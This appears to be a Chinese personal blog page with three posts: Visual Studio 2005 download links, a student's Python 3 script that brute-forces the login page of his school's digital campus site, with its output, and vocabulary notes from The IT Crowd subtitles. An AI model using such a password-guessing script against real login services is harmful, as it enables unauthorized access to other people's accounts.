标签 下载 下的文章

Visual Studio 2005及其sp1下载

vs2005:

ftp://Share:1118@www.sooweb.net/Share/Design/Visual%20Studio.NET%202005/ms_vs_2005_pro_chs.iso

vs2005 sp1:

http://www.microsoft.com/downloads/zh-cn/details.aspx?FamilyID=BB4A75AB-E2D4-4C96-B39D-37BAF6B5B1DC

Python零基础到编写网页brute force cracking script

二级考完了,成绩还没有出现,现在每个星期7节课,我纳闷了,课程能否安排多一点嘛。别水得太明显了,否则我都不好意思在高中同学面前说我们课有好“多”,有好“忙”了。

何以解忧,唯有上网!准备用python写个暴力破解学校数字话校园的脚本,(注:三天前开始看<python入门.doc>),粗略了看了一下数据类型和各种程序结构的语法for啊,if , elif ,else 之类的。 python现在的稳定版有两个2.6.1和3.0.1。听说后者改进了很多东西,比如去掉了urllib2,统一到urllib中。正是python的改进如此的迅速造成了我google出来的源码很多都运行不起了。

#tunpishuang at gmail dot com
#2009.4.1
#dc_crack.py 0.0.1
import urllib.request
import urllib.parse
fsock=open('pass.txt','r')
for i in range(1,10000000):
        pw=fsock.readline(7)
        params = urllib.parse.urlencode({"tbUserNo": 20720310307, "tbPW": pw})
        f = urllib.request.urlopen("http://dc.cqit.edu.cn/userlogin.aspx", params)
        flag=str(f.read(9))
        if(flag == "b' <script>t'"):
                print("login ok!")
                print("the true password is: %s" %pw)
                break
        else:
                print("flag:%s ,password:< %s> wrong !trying next password...\n" % (flag,pw))

通过http.client.HTTPResponse这个实例的类文件对象的read(9)方法来判断,开始无论密码正确否都返回error!,后来在Google论坛comp.lang.python发了个帖子,某老外热情的解答了我等小菜的疑问,甚感激。原来是python3.x默认用的unicode,但是http返回的是bytes,需要通过str()转换一下,大概就是这样吧。最后把自己的密码改成一个稍微靠前点的0000010测试了一下:

flag:b’

flag:b’

wrong !trying next password…

flag:b’

flag:b’

wrong !trying next password…

flag:b’

flag:b’

wrong !trying next password…

flag:b’

flag:b’

wrong !trying next password…

flag:b’

flag:b’

wrong !trying next password…

flag:b’

flag:b’

wrong !trying next password…

flag:b’

flag:b’

wrong !trying next password…

flag:b’

flag:b’

wrong !trying next password…

flag:b’

flag:b’

wrong !trying next password…

flag:b’

flag:b’

wrong !trying next password…

login ok!

the true password is: 0000010

破完收工~下一步准备完善一下:词典直接放内存,通过参数支持get,post和自定义action页面,自定义发送输入....etc.....

The.IT.Crowd 字幕笔记

The.IT.Crowd 字幕笔记

CV(Latin curriculum vitae) 履历
glow 发光
drudge 做苦工
toss sth. away 扔掉...
unisex 不分性别,unisex toilets
Amazon 亚马逊,女战士
wicked (wikid *)slang* 太棒了
oddbod *slang *怪胎
calamity 灾祸,灾难
tarty adj.放荡
bollocks [slang] a man's testicle.
cripple sb. 把sb.弄瘸
dainty 高雅的,华丽的
sexist 大男子主义(大女人主义)
obsess with sth. 对sth.感兴趣
exclamation mark 感叹号
be mangled 损伤了
ceremonial sword 仪仗剑
Japs [不敬][slang]日本人
insult 侮辱
wrangle 争论,激辩
scarf 围巾
cretin [slang] == idiot
sexual frustrated 性无能
amateur n. a. 业余,外行,菜鸟
Goths 哥特族
filth 污秽
futile 无效,无望,瞎忙活
bleak 凄凉,荒凉,寒冷刺骨
goblin 小妖精,恶鬼
gobbledegook 复杂难懂的语言[U] (informal) complicated language that is difficult to understand, especially when used in official documents:
It's all gobbledegook to me.

I've got Aunt Irma visiting .我大姨妈到了
cereals 加工谷物,麦片
delicate 虚弱,易碎的
gloomy 犹豫的,令人沮丧的
grease 油脂
gorgeous 漂亮,华丽
heterosexual 异性恋
homosexual 同性恋 [gay 男同志,lesbian 女同志]
bum [informal] == ass
fabulous 极好的,传说中的,
wee-wee [小孩子]尿尿 ==urinate
pull it out of air. 无中生有
run from it 回避它
irregularity 不规则,无规律
79% accurate 79%的准确率
morbid 病态的,毛骨悚然的
Can I have a word plz? 能借一步说话吗?
prostitute == whore
Swings and roundabouts 失之东隅,收之桑榆
eulogy 颂词,颂歌,悼文,悼词
drain 排水沟
anti-piracy 反盗版
twist (电影中情节)流转
ventilation 排气扇
I've got the blues 我抑郁了
stagnate 停滞
crisps 薯片
tits [slang]  ==breast
lick 舔
tripod 三脚架 I‘ve be a 24 hour tripod. 我以及24小时保持“三脚”状态了。
ciao [Italian] 拜拜
cuisine 烹饪
cannibal 食人族,食同类的动物
nut jobs 蠢货
red wine 红酒
white wine 白酒
Carlsberg 嘉士伯
absinthe 苦艾酒
reconstructive face surgery 整容
symmetrical 对称
breast augmentation 隆胸
tickel 挠痒痒 ticklish 对挠痒痒敏感
paedophile 童恋癖
orgasm : the high peak of sexual activity
rollercoaster 过山车
expertise  专门技能,专长
guts [pl.] 胆量 got the guts to do sth. 有胆量做...
without spent a single penny 不花一分钱
disguise 伪装
mustard 芥末,芥菜
muffin [英]松饼
You've got spunk and balls 你有胆有识
lingerie : woman's underwear
parcel 包裹
You must be stunned. 你一定被吓到了吧。
I'm flabbergasted. 我被吓坏了。
tramp 流浪者
excrement 排泄物,粪便
broadband technology 宽带技术
shite: another word for shit.
quid : A quid is a pound in money. (BRIT, INFORMAL)
bully 恃强欺弱者
obscene 色情的,淫秽的,下流的
erotic 色情的(作品)
shareholder 股东
I don't fancy you,我不喜欢你,我对你没意思
revolver 左轮手枪
flipping : Some people use flipping to emphasize what they are saying, especially when they are annoyed. (BRIT, INFORMAL, SPOKEN)==fcking
I've got a mother flipping gun! 我他娘的有枪。
stapler 订书机
poof (贬称)男同
sexuall harassment 性骚扰
be arounsed 勃起 to make someone feel sexually excited
peaky  *adj informal BrE
憔悴的
no offence 不冒犯的话(恕我直言)
nitwit n [C] informal 笨蛋,白痴
be concussed : If someone is concussed, they lose consciousness or feel sick or confused because they have been hit hard on the head.
脑震荡,n.concussion

twats
If someone calls another person a twat, they are insulting them and expressing contempt for them. (INFORMAL, OFFENSIVE)

piss off 去死,滚,
If someone or something pisses you off, they annoy you.
If someone tells a person to piss off, they are telling the person in a rude way to go away. (BRIT, INFORMAL, RUDE)

I won't let it go to my head. 我不会让胜利冲昏头脑。
head honcho(informal, especially AmE) the person who is in charge 头目
caricature 讽刺画,漫画 ==comic
be snowed under here 在这里忙得不可开交
bollocks
Bollocks is used by some people to express disagreement, dislike, or annoyance. (BRIT, INFORMAL) ( VERY RUDE)
punchy adj.有冲击力
If you describe something as punchy, you mean that it expresses its meaning in a forceful or effective way.
seatbelt 安全带
condom machine 安全套售卖机
dance around sth/sb 隐瞒sth/sb 兜圈子
deceive sb 欺骗,蒙蔽
It takes all sorts to make a world. 林子大了什么鸟都有
reception 信号
demagnetise 消磁
poppet BrE spoken 宝宝; 宝贝儿
doesn't bother me. 我不介意
primeval instinct 原始的冲动
beyond me control 我束手无策
boss-eyedness 斗鸡眼
modest  a.谦虚的
horny: a. feeling great sexual desire
make it as sexy as hell 尽量性感点
Apparently == Obviously
sexist == sexual discrimination
beaker 烧杯
undo some buttons 揭开纽扣
If you describe someone or something asgoofy, you think they are rather silly or ridiculous. (AM, INFORMAL)
moron  低能者
geek 约= nerd

最经典的电话对白:
Roy: Hello IT.
Staff: Hi,something's wrong with my computer.

Roy: Have u try turning it off and on again.

Staff: I've tried turning it off and on again and nothing happend.
Roy: Is it definitely plugged in?
Staff: Oh,let me have a look.Oh,sorry that's it, thanks very much.
Roy: You're welcome then.

------

花了三天的时间,的确搞笑,如果说这些事英式笑话的话,那我觉得它还是脱离不了低俗,Why? 看看上面的字幕笔记就知道了。

难道里边的人都说的是地道的伦敦腔,如果是,我觉得找到点feel了,如果还不算以偏概全,我觉得他们爱说“Brilliant!”
字幕翻译成了:太有才了!
美式一般说:"Awesome!"

也去这就是我以后要过的日子,虽然没有演的这么夸张,也没有这么好玩。
have u try turning it off and on again? 有没有试着重启机子?巨经典!

Moss,Roy两个萎缩男+一个男人婆Jen,本世纪最有才的活宝三人组。

总之我很喜欢这部剧。